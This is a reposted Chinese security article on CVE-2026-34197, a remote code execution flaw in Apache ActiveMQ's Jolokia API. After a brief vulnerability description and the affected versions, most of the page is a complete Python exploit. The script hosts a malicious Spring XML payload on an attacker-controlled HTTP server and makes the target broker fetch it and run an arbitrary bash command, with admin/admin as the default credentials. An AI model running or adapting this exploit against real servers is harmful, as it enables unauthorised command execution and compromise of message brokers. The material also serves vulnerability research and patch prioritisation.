CVE-2026-34197|ApacheActiveMQ远程代码执行漏洞(POC)

admin 2026-04-16 03:48:34 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: ApacheActiveMQ存在远程代码执行漏洞CVE-2026-34197,攻击者可通过JolokiaJMX-HTTP接口构造恶意brokerConfig参数,利用ResourceXmlApplicationContext加载远程SpringXML配置实现任意命令执行。影响版本为ActiveMQClassic<5.19.4及6.0.0-6.2.2,文章提供了详细的漏洞原理分析和Python版POC利用代码。 综合评分: 87 文章分类: 漏洞分析,漏洞预警,漏洞POC,WEB安全,应急响应


cover_image

CVE-2026-34197|Apache ActiveMQ远程代码执行漏洞(POC)

alicy alicy

信安百科

2026年4月15日 09:02 河北

在小说阅读器读本章

去阅读

0x00 前言

ActiveMQ是Apache出品的一款开源消息中间件,完全支持JMS 1.1和J2EE 1.4规范,能为分布式系统提供高效、稳定、安全的企业级消息通信服务。

它支持Java、C、Python等多语言客户端,兼容OpenWire、Stomp、AMQP等多种协议,还具备消息持久化、优先级设置、延迟接收、主从管理等丰富特性,可轻松嵌入Spring应用,适配TomEE、JBoss等多种J2EE服务器。

其核心包含Broker(消息代理服务器)、Producer(消息生产者)、Consumer(消息消费者)等组件,支持点对点(Queue)和发布订阅(Topic)两种消息传递模型,前者确保每条消息仅被一个消费者接收,后者可实现消息向所有订阅者广播,能有效帮助系统实现解耦、异步通信与流量削峰。

0x01 漏洞描述

该漏洞源于系统通过/api/jolokia/暴露Jolokia JMX-HTTP接口,并且默认访问策略允许对org.apache.activemq:* MBeans执行exec操作。由于对输入的discovery URI参数缺乏有效校验,攻击者可构造恶意brokerConfig参数,触发ResourceXmlApplicationContext加载远程Spring XML配置。

在Spring初始化阶段会提前实例化Bean,攻击者可借助Runtime.exec()等方法实现任意代码执行。

0x02 CVE编号

CVE-2026-34197

0x03 影响版本

Apache&nbsp;ActiveMQ Broker <&nbsp;5.19.46.0.0&nbsp;<= Apache ActiveMQ Broker <&nbsp;6.2.3Apache&nbsp;ActiveMQ <&nbsp;5.19.46.0.0&nbsp;<= Apache ActiveMQ <&nbsp;6.2.3

0x04 漏洞详情

POC:

https://github.com/DEVSECURITYSPRO/CVE-2026-34197

#!/usr/bin/env python3"""CVE-2026-34197 — Apache ActiveMQ RCE vía Jolokia API
Ejecución remota de código en Apache ActiveMQ Classic a través de laoperación addNetworkConnector expuesta por Jolokia. El exploit fuerzaal broker a descargar y ejecutar un archivo de configuración Spring XMLmalicioso mediante el transporte VM y el esquema xbean:.
Versiones afectadas:&nbsp; - ActiveMQ Classic < 5.19.4&nbsp; - ActiveMQ Classic 6.0.0 — 6.2.2
En versiones 6.0.0 — 6.1.1 no se requiere autenticación (CVE-2024-32114).
Uso:&nbsp; python exploit.py -t http://OBJETIVO:8161 -l MI_IP -c "id"
Autor: KONDOR DEV SECURITYPoC con fines educativos y de investigación en seguridad."""
import&nbsp;argparseimport&nbsp;http.serverimport&nbsp;osimport&nbsp;sysimport&nbsp;threadingimport&nbsp;timeimport&nbsp;socket
try:&nbsp; &nbsp;&nbsp;import&nbsp;requestsexcept&nbsp;ImportError:&nbsp; &nbsp;&nbsp;print("[!] Módulo 'requests' no encontrado. Instalar con: pip install requests")&nbsp; &nbsp; sys.exit(1)

# ─── Colores para la terminal ───────────────────────────────────────────────
class&nbsp;Color:&nbsp; &nbsp; RED =&nbsp;"\033[91m"&nbsp; &nbsp; GREEN =&nbsp;"\033[92m"&nbsp; &nbsp; YELLOW =&nbsp;"\033[93m"&nbsp; &nbsp; BLUE =&nbsp;"\033[94m"&nbsp; &nbsp; CYAN =&nbsp;"\033[96m"&nbsp; &nbsp; RESET =&nbsp;"\033[0m"

BANNER =&nbsp;f"""{Color.CYAN}&nbsp; ╔═══════════════════════════════════════════════════════════╗&nbsp; ║ &nbsp;CVE-2026-34197 &nbsp;— &nbsp;Apache ActiveMQ RCE via Jolokia API &nbsp;║&nbsp; ║ &nbsp;ActiveMQ Classic < 5.19.4 / 6.0.0 — 6.2.2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;║&nbsp; ║ &nbsp;By: KONDOR DEV SECURITY — t.me/KONDORDEVSECURITY &nbsp; &nbsp; &nbsp; &nbsp;║&nbsp; ╚═══════════════════════════════════════════════════════════╝{Color.RESET}"""

# ─── Generación del payload XML ─────────────────────────────────────────────
def&nbsp;generar_payload_xml(comando:&nbsp;str) ->&nbsp;str:&nbsp; &nbsp;&nbsp;"""Genera el payload Spring XML que ejecuta el comando dado."""&nbsp; &nbsp; payload_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)),&nbsp;"payloads")&nbsp; &nbsp; template_path = os.path.join(payload_dir,&nbsp;"template.xml")
&nbsp; &nbsp;&nbsp;if&nbsp;os.path.exists(template_path):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;with&nbsp;open(template_path,&nbsp;"r", encoding="utf-8")&nbsp;as&nbsp;f:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; template = f.read()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;template.replace("{{COMMAND}}", comando)
&nbsp; &nbsp;&nbsp;# Fallback: generar inline si no existe la plantilla&nbsp; &nbsp;&nbsp;return&nbsp;f"""<?xml version="1.0" encoding="UTF-8" ?><beans xmlns="http://www.springframework.org/schema/beans"&nbsp; &nbsp; &nbsp; &nbsp;xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"&nbsp; &nbsp; &nbsp; &nbsp;xsi:schemaLocation="http://www.springframework.org/schema/beans&nbsp; &nbsp; &nbsp; &nbsp;http://www.springframework.org/schema/beans/spring-beans.xsd">&nbsp; <bean id="exec" class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">&nbsp; &nbsp; <property name="targetObject">&nbsp; &nbsp; &nbsp; <bean class="org.springframework.beans.factory.config.MethodInvokingFactoryBean">&nbsp; &nbsp; &nbsp; &nbsp; <property name="targetClass" value="java.lang.Runtime"/>&nbsp; &nbsp; &nbsp; &nbsp; <property name="targetMethod" value="getRuntime"/>&nbsp; &nbsp; &nbsp; </bean>&nbsp; &nbsp; </property>&nbsp; &nbsp; <property name="targetMethod" value="exec"/>&nbsp; &nbsp; <property name="arguments">&nbsp; &nbsp; &nbsp; <list>&nbsp; &nbsp; &nbsp; &nbsp; <array value-type="java.lang.String">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <value>/bin/bash</value>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <value>-c</value>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <value>{comando}</value>&nbsp; &nbsp; &nbsp; &nbsp; </array>&nbsp; &nbsp; &nbsp; </list>&nbsp; &nbsp; </property>&nbsp; </bean></beans>"""

# ─── Servidor HTTP para servir el payload ────────────────────────────────────
class&nbsp;PayloadHandler(http.server.BaseHTTPRequestHandler):&nbsp; &nbsp;&nbsp;"""Servidor HTTP que sirve el payload XML y registra las peticiones."""
&nbsp; &nbsp; payload_xml =&nbsp;""&nbsp; &nbsp; peticion_recibida = threading.Event()
&nbsp; &nbsp;&nbsp;def&nbsp;do_GET(self, *args, **kwargs):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_response(200)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Content-Type",&nbsp;"application/xml")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.end_headers()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.wfile.write(PayloadHandler.payload_xml.encode("utf-8"))&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.GREEN}[+] Payload servido a&nbsp;{self.client_address[0]}{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; PayloadHandler.peticion_recibida.set()
&nbsp; &nbsp;&nbsp;def&nbsp;log_message(self,&nbsp;format, *args):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Silenciar logs por defecto del servidor HTTP&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass

def&nbsp;iniciar_servidor_http(lhost:&nbsp;str, lport:&nbsp;int, payload_xml:&nbsp;str) -> http.server.HTTPServer:&nbsp; &nbsp;&nbsp;"""Inicia el servidor HTTP en un hilo separado para servir el payload."""&nbsp; &nbsp; PayloadHandler.payload_xml = payload_xml&nbsp; &nbsp; PayloadHandler.peticion_recibida.clear()
&nbsp; &nbsp; servidor = http.server.HTTPServer((lhost, lport), PayloadHandler)&nbsp; &nbsp; hilo = threading.Thread(target=servidor.serve_forever, daemon=True)&nbsp; &nbsp; hilo.start()&nbsp; &nbsp;&nbsp;return&nbsp;servidor

# ─── Verificación de conectividad ────────────────────────────────────────────
def&nbsp;verificar_objetivo(target:&nbsp;str, auth:&nbsp;tuple&nbsp;|&nbsp;None) ->&nbsp;bool:&nbsp; &nbsp;&nbsp;"""Verifica que el objetivo sea accesible y que Jolokia responda."""&nbsp; &nbsp; url =&nbsp;f"{target.rstrip('/')}/api/jolokia/"&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; kwargs = {"timeout":&nbsp;10}&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;auth:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; kwargs["auth"] = auth&nbsp; &nbsp; &nbsp; &nbsp; resp = requests.get(url, **kwargs)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;resp.status_code ==&nbsp;401:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.RED}[!] Autenticación fallida (401). Verificar credenciales.{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;resp.status_code ==&nbsp;403:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.RED}[!] Acceso prohibido (403) a Jolokia.{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Respuesta inesperada: HTTP&nbsp;{resp.status_code}{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;True&nbsp;&nbsp;# Intentar de todas formas&nbsp; &nbsp;&nbsp;except&nbsp;requests.ConnectionError:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.RED}[!] No se pudo conectar a&nbsp;{target}{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp;&nbsp;except&nbsp;requests.Timeout:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.RED}[!] Timeout al conectar a&nbsp;{target}{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False

def&nbsp;obtener_broker_name(target:&nbsp;str, auth:&nbsp;tuple&nbsp;|&nbsp;None) ->&nbsp;str&nbsp;|&nbsp;None:&nbsp; &nbsp;&nbsp;"""Intenta obtener el nombre del broker vía Jolokia."""&nbsp; &nbsp; url =&nbsp;f"{target.rstrip('/')}/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*"&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; kwargs = {"timeout":&nbsp;10}&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;auth:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; kwargs["auth"] = auth&nbsp; &nbsp; &nbsp; &nbsp; resp = requests.get(url, **kwargs)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = resp.json()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;"value"&nbsp;in&nbsp;data&nbsp;and&nbsp;data["value"]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Extraer el nombre del broker del primer resultado&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;key&nbsp;in&nbsp;data["value"]:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;"brokerName="&nbsp;in&nbsp;key:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;key.split("brokerName=")[1].split(",")[0]&nbsp; &nbsp;&nbsp;except&nbsp;Exception:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass&nbsp; &nbsp;&nbsp;return&nbsp;None

# ─── Exploit principal ───────────────────────────────────────────────────────
def&nbsp;ejecutar_exploit(target:&nbsp;str, lhost:&nbsp;str, lport:&nbsp;int, comando:&nbsp;str,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;auth:&nbsp;tuple&nbsp;|&nbsp;None, broker_name:&nbsp;str) ->&nbsp;bool:&nbsp; &nbsp;&nbsp;"""&nbsp; &nbsp; Ejecuta el exploit CVE-2026-34197.
&nbsp; &nbsp; 1. Genera el payload Spring XML con el comando.&nbsp; &nbsp; 2. Levanta un servidor HTTP para servirlo.&nbsp; &nbsp; 3. Envía la petición a Jolokia para invocar addNetworkConnector&nbsp; &nbsp; &nbsp; &nbsp;con un URI vm:// que apunta al payload remoto.&nbsp; &nbsp; """&nbsp; &nbsp;&nbsp;print(f"{Color.BLUE}[*] Objetivo: &nbsp;{target}{Color.RESET}")&nbsp; &nbsp;&nbsp;print(f"{Color.BLUE}[*] Comando: &nbsp;&nbsp;{comando}{Color.RESET}")&nbsp; &nbsp;&nbsp;print(f"{Color.BLUE}[*] Payload: &nbsp; http://{lhost}:{lport}/payload.xml{Color.RESET}")&nbsp; &nbsp;&nbsp;print(f"{Color.BLUE}[*] Broker: &nbsp; &nbsp;{broker_name}{Color.RESET}")&nbsp; &nbsp;&nbsp;print(f"{Color.BLUE}[*] Auth: &nbsp; &nbsp; &nbsp;{'Deshabilitada'&nbsp;if&nbsp;auth&nbsp;is&nbsp;None&nbsp;else&nbsp;auth[0]}{Color.RESET}")&nbsp; &nbsp;&nbsp;print()
&nbsp; &nbsp;&nbsp;# Paso 1: Generar payload&nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Generando payload XML...{Color.RESET}")&nbsp; &nbsp; payload_xml = generar_payload_xml(comando)
&nbsp; &nbsp;&nbsp;# Paso 2: Iniciar servidor HTTP&nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Iniciando servidor HTTP en&nbsp;{lhost}:{lport}...{Color.RESET}")&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; servidor = iniciar_servidor_http("0.0.0.0", lport, payload_xml)&nbsp; &nbsp;&nbsp;except&nbsp;OSError&nbsp;as&nbsp;e:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.RED}[!] No se pudo iniciar el servidor HTTP:&nbsp;{e}{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp;&nbsp;print(f"{Color.GREEN}[+] Servidor HTTP escuchando en 0.0.0.0:{lport}{Color.RESET}")
&nbsp; &nbsp;&nbsp;# Paso 3: Enviar petición a Jolokia&nbsp; &nbsp; jolokia_url =&nbsp;f"{target.rstrip('/')}/api/jolokia/"&nbsp; &nbsp; rce_broker =&nbsp;"rce"&nbsp;&nbsp;# Nombre del broker ficticio que se creará&nbsp; &nbsp; discovery_uri = (&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"static:(vm://{rce_broker}?brokerConfig="&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"xbean:http://{lhost}:{lport}/payload.xml)"&nbsp; &nbsp; )
&nbsp; &nbsp; payload_json = {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"type":&nbsp;"exec",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"mbean":&nbsp;f"org.apache.activemq:type=Broker,brokerName={broker_name}",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"operation":&nbsp;"addNetworkConnector",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"arguments": [discovery_uri]&nbsp; &nbsp; }
&nbsp; &nbsp; headers = {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Content-Type":&nbsp;"application/json",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"Origin": target.rstrip("/")&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Enviando petición a Jolokia...{Color.RESET}")
&nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; kwargs = {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"json": payload_json,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"headers": headers,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"timeout":&nbsp;30&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;auth:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; kwargs["auth"] = auth
&nbsp; &nbsp; &nbsp; &nbsp; resp = requests.post(jolokia_url, **kwargs)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;resp.status_code ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data = resp.json()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;data.get("status") ==&nbsp;200:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.GREEN}[+] Jolokia aceptó la operación (status=200){Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; error = data.get("error",&nbsp;"desconocido")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Jolokia respondió con status={data.get('status')}:&nbsp;{error}{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Esto puede ser normal — el comando ya se ejecutó durante la carga del XML&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;resp.status_code ==&nbsp;401:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.RED}[!] Autenticación fallida (401){Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; servidor.shutdown()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;elif&nbsp;resp.status_code ==&nbsp;403:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.RED}[!] Acceso prohibido (403){Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; servidor.shutdown()&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Respuesta HTTP:&nbsp;{resp.status_code}{Color.RESET}")
&nbsp; &nbsp;&nbsp;except&nbsp;requests.ConnectionError:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.RED}[!] Error de conexión al enviar el exploit{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; servidor.shutdown()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;False&nbsp; &nbsp;&nbsp;except&nbsp;requests.Timeout:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Timeout en la petición (puede ser normal si el comando tarda){Color.RESET}")
&nbsp; &nbsp;&nbsp;# Paso 4: Esperar a que el objetivo descargue el payload&nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Esperando que el objetivo descargue el payload...{Color.RESET}")&nbsp; &nbsp;&nbsp;if&nbsp;PayloadHandler.peticion_recibida.wait(timeout=15):&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.GREEN}[+] El objetivo descargó el payload. Comando ejecutado.{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; exito =&nbsp;True&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] No se recibió petición del payload en 15s.{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}&nbsp; &nbsp; Esto puede indicar que el objetivo no es vulnerable,{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}&nbsp; &nbsp; que no puede alcanzar&nbsp;{lhost}:{lport}, o que el broker{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}&nbsp; &nbsp; name '{broker_name}' es incorrecto.{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; exito =&nbsp;False
&nbsp; &nbsp;&nbsp;# Limpiar&nbsp; &nbsp; servidor.shutdown()&nbsp; &nbsp;&nbsp;return&nbsp;exito

# ─── CLI ─────────────────────────────────────────────────────────────────────
def&nbsp;parse_args():&nbsp; &nbsp; parser = argparse.ArgumentParser(&nbsp; &nbsp; &nbsp; &nbsp; description="CVE-2026-34197 — Apache ActiveMQ RCE vía Jolokia API",&nbsp; &nbsp; &nbsp; &nbsp; formatter_class=argparse.RawDescriptionHelpFormatter,&nbsp; &nbsp; &nbsp; &nbsp; epilog="""Ejemplos:&nbsp; %(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "id"&nbsp; %(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "whoami" -u admin -p secret&nbsp; %(prog)s -t http://10.0.0.1:8161 -l 10.0.0.2 -c "id" --no-auth&nbsp; &nbsp; &nbsp; &nbsp; """&nbsp; &nbsp; )&nbsp; &nbsp; parser.add_argument("-t",&nbsp;"--target", required=True,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="URL base del objetivo (ej: http://10.0.0.1:8161)")&nbsp; &nbsp; parser.add_argument("-l",&nbsp;"--lhost", required=True,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="IP del atacante para servir el payload")&nbsp; &nbsp; parser.add_argument("-lp",&nbsp;"--lport",&nbsp;type=int, default=8888,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="Puerto del servidor HTTP local (default: 8888)")&nbsp; &nbsp; parser.add_argument("-c",&nbsp;"--command", required=True,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="Comando a ejecutar en el objetivo")&nbsp; &nbsp; parser.add_argument("-u",&nbsp;"--user", default="admin",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="Usuario de Jolokia (default: admin)")&nbsp; &nbsp; parser.add_argument("-p",&nbsp;"--password", default="admin",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="Contraseña de Jolokia (default: admin)")&nbsp; &nbsp; parser.add_argument("--no-auth", action="store_true",&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="No enviar credenciales (CVE-2024-32114, versiones 6.0.0-6.1.1)")&nbsp; &nbsp; parser.add_argument("--broker-name", default=None,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;help="Nombre del broker (default: autodetectar o 'localhost')")&nbsp; &nbsp;&nbsp;return&nbsp;parser.parse_args()

def&nbsp;main():&nbsp; &nbsp;&nbsp;print(BANNER)&nbsp; &nbsp; args = parse_args()
&nbsp; &nbsp; auth =&nbsp;None&nbsp;if&nbsp;args.no_auth&nbsp;else&nbsp;(args.user, args.password)
&nbsp; &nbsp;&nbsp;# Verificar conectividad&nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Verificando conectividad con el objetivo...{Color.RESET}")&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;verificar_objetivo(args.target, auth):&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)&nbsp; &nbsp;&nbsp;print(f"{Color.GREEN}[+] Objetivo accesible{Color.RESET}")
&nbsp; &nbsp;&nbsp;# Determinar nombre del broker&nbsp; &nbsp; broker_name = args.broker_name&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;broker_name:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] Intentando detectar nombre del broker...{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp; broker_name = obtener_broker_name(args.target, auth)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;broker_name:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.GREEN}[+] Broker detectado:&nbsp;{broker_name}{Color.RESET}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; broker_name =&nbsp;"localhost"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.YELLOW}[*] No se pudo detectar. Usando por defecto:&nbsp;{broker_name}{Color.RESET}")
&nbsp; &nbsp;&nbsp;print()
&nbsp; &nbsp;&nbsp;# Ejecutar exploit&nbsp; &nbsp; exito = ejecutar_exploit(&nbsp; &nbsp; &nbsp; &nbsp; target=args.target,&nbsp; &nbsp; &nbsp; &nbsp; lhost=args.lhost,&nbsp; &nbsp; &nbsp; &nbsp; lport=args.lport,&nbsp; &nbsp; &nbsp; &nbsp; comando=args.command,&nbsp; &nbsp; &nbsp; &nbsp; auth=auth,&nbsp; &nbsp; &nbsp; &nbsp; broker_name=broker_name&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;print()&nbsp; &nbsp;&nbsp;if&nbsp;exito:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.GREEN}[+] Exploit completado con éxito{Color.RESET}")&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"{Color.RED}[-] Exploit no confirmado — revisar parámetros{Color.RESET}")
&nbsp; &nbsp; sys.exit(0&nbsp;if&nbsp;exito&nbsp;else&nbsp;1)

if&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; main()

0x05 参考链接

https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt

推荐阅读:

CVE-2026-4747|FreeBSD栈溢出漏洞(POC)

CVE-2026-34714|Vim高危远程代码执行漏洞(POC)

CVE-2026-33371|Zimbra存在XML外部实体(XXE)漏洞

Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持!!!


本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:信安百科 alicy alicy《CVE-2026-34197|Apache ActiveMQ远程代码执行漏洞(POC)》

评论:0   参与:  0